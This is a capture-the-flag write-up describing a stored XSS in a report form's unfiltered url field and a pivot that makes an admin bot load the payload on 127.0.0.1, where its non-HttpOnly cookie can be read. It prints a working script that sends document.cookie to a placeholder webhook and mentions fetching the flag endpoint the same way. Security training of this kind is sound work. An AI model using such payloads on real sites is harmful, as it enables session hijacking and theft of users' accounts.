Free Flag

Summary

We’ll submit a “report” that makes the admin bot render attacker-controlled HTML/JS. Our first payload deliberately runs on a non-localhost origin just to obtain a server-side reference ID. With that refId, we then make the bot load an internal page on 127.0.0.1 that reflects our payload into HTML. Because the bot’s session cookie is intentionally not HttpOnly and is scoped to 127.0.0.1, document.cookie becomes readable during the second visit. We exfiltrate the cookie (or call /api/fetchflag directly from JS) and grab the flag.

Start

The challenge opens with a login form. I checked the code for SQL injection and found none. Further down, there’s an endpoint POST /visit that doesn’t require cookies, so we can skip login entirely and use the report workflow.

/Visit

The report form takes a URL and a sender name. Reading the code shows exactly how it stores and later displays our input.

app.post('/visit', async (req, res) => {
  const { url, visitor } = req.body;
  ...
  const refId = uuidv4();
  const filter = content => !content.includes("<") && !content.includes(">") ? content : "guest";
  db.run("INSERT INTO reports (refId, visitor, url) VALUES (?, ?, ?)",
    [refId, String(filter(visitor)), url], ...

In POST /visit, the server stores both a sanitized visitor and an unsanitized url:

Only visitor is filtered for </>url is saved as-is.

Later, GET /api/reference/:refId pulls the row and concatenates it directly into an HTML string:

app.get('/api/reference/:refId', (req, res) => {
  ...
  db.get("SELECT refId, visitor, url FROM reports WHERE refId = ?", [refId], (err, row) => {
    ...
    res.send(
      `Reference ID: ${row.refId}\nVisitor: ${row.visitor}\nURL: ${row.url}`
    );
  });
});

res.send(string) returns HTML by default; if row.url contains <script>…</script>, the browser parses and runs it. This is the core XSS sink.

First test: prove XSS + get refId

I submit a report with a data: page payload to beacon document.cookie:

data:text/html,<script>
new Image().src='https://YOUR_WEBHOOK/c?c='+encodeURIComponent(document.cookie)
</script>

The server returns a refId. I can view it at /api/reference/<refId>

Ok perfect now lets send it to the admin using

http://95.217.6.37:20001/api/reference/refid

see a webhook request arrive.

Where are the cookies?

we got a callback but where's the cookies ? lets take a look at the bot source code.

const response = await axios.post('http://localhost:5000/login', {
  username: 'admin',
  password: 'fakepassword'
});
...
const cookieObjects = cookies.map(cookie => {
  const [nameValue, ...rest] = cookie.split(';');
  const [name, value] = nameValue.split('=');
  return {
    name: name.trim(),
    value: value.trim(),
    domain: '127.0.0.1',
    path: '/',
    httpOnly: false,
    sameSite: 'lax'
  };
});

await page.setCookie(...cookieObjects);
await page.goto(urlToVisit, { waitUntil: 'networkidle2' });

The headless bot logs in as admin via Axios, extracts Set-Cookie, then re-creates the cookie for Puppeteer with httpOnly:false and domain:'127.0.0.1':

Two important details:

  • httpOnly:false ⇒ JavaScript can read the cookie.

  • domain:'127.0.0.1' ⇒ cookie is attached to pages served from 127.0.0.1, not to data: or other origins.

This means any script that runs on http://127.0.0.1 can do document.cookie

If the bot visits a data: URL:

data:text/html,<script>new Image().src='https://YOUR_WEBHOOK/c?c='+encodeURIComponent(document.cookie)</script>

the page’s origin is data: (not http://127.0.0.1), so the 127.0.0.1 cookie is not attached; document.cookie will be empty. That’s okay, we only need this first visit to store the payload and get back a refId we can pivot on.

Localhost pivot with refId

Instead of sending the admin to the public reference URL, we report this internal URL for the bot to visit:

http://127.0.0.1:5000/api/reference/<refId>

That endpoint reflects our stored url into an HTML response on the 127.0.0.1 origin, so our <script> runs with the admin cookie attached and JS-readable. Now the webhook receives the cookie value.

(Alternatively, the stored payload can fetch('/api/fetchflag') and exfiltrate the flag directly, avoiding cookie reuse.)

This time we got the cookie in the request

With the cookie, I can access /dashboard or call /api/fetchflag to retrieve the flag. In this challenge, both work once the session is present.

Last updated

Was this helpful?